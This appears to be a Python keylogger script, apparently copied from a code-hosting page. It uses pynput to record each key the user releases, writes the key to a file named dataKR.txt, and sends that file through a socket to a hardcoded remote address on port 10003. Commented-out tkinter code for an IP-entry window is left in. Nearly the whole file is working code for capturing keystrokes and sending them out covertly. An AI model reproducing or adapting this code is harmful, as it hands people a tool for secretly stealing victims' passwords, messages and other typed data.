83 lines
1.8 KiB
Python
83 lines
1.8 KiB
Python
import socket
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import os
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from tkinter import *
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from pynput import keyboard
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#ipFile = open("IP.txt")
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#IP = ipFile.read()
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#ipFile.close()
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#window = Tk()
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#label = Label(window, text= 'What is the IP')
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#entry = Entry(window, width=200)
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#entry.insert(END, IP)
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#label.pack()
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#entry.pack()
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SEPARATOR = "<SEPARATOR>"
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BUFFER_SIZE = 128 # send 4096 bytes each time step
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host = "10.4.27.243"
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# the ip address or hostname of the server, the receiver
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# the port, let's use 5001
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port = 10003
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# the name of file we want to send, make sure it exists
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filename = "dataKR.txt"
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# get the file size
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filesize = os.path.getsize("dataKR.txt")
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#IPfile = open("IPfile.txt", "w")
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#text_file.write(host)
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#text_file.close()
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# create the client socket
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s = socket.socket()
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print(f"[+] Connecting to {host}:{port}")
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s.connect((host, port))
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print("[+] Connected.")
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# send the filename and filesize
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s.send(f"{filename}{SEPARATOR}{filesize}".encode())
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def sendfile():
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# start sending the file
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progress = "_"
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with open(filename, "rb") as f:
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for _ in progress:
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# read the bytes from the file
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bytes_read = f.read(BUFFER_SIZE)
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if not bytes_read:
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# file transmitting is done
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break
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# we use sendall to assure transimission in
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# busy networks
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s.sendall(bytes_read)
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# close the socket
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#s.close()
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#-----------------------------------------------------------
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def on_release(key):
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text_file = open(filename, "w")
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text_file.write(('{}'.format(key)).replace("'", ""))
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text_file.close()
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sendfile()
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def on_press(key):
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print("\n")
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with keyboard.Listener(on_press = on_press, on_release = on_release) as listener:
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listener.join()
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#-----------------------------------------
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